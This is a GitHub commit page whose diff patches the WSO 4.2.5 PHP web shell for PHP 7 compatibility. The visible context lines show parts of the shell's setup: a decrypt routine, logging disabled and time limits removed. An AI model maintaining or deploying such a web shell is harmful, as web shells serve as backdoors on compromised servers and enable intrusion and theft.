Skip to content

Commit

Permalink
PHP 7 - function set_magic_quotes_runtime removed
Browse files Browse the repository at this point in the history
Fatal error: Uncaught Error: Call to undefined function set_magic_quotes_runtime()
  • Loading branch information
jrazer authored Feb 11, 2017
1 parent e6902df commit aa42936
Showing 1 changed file with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion php/wso/wso-4.2.5.php
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,8 @@ function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$e
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if (PHP_VERSION_ID < 70000)
@set_magic_quotes_runtime(0);
@define('VERSION', '4.2.5');
if(get_magic_quotes_gpc()) {
function stripslashes_array($array) {
Expand Down

0 comments on commit aa42936

Please sign in to comment.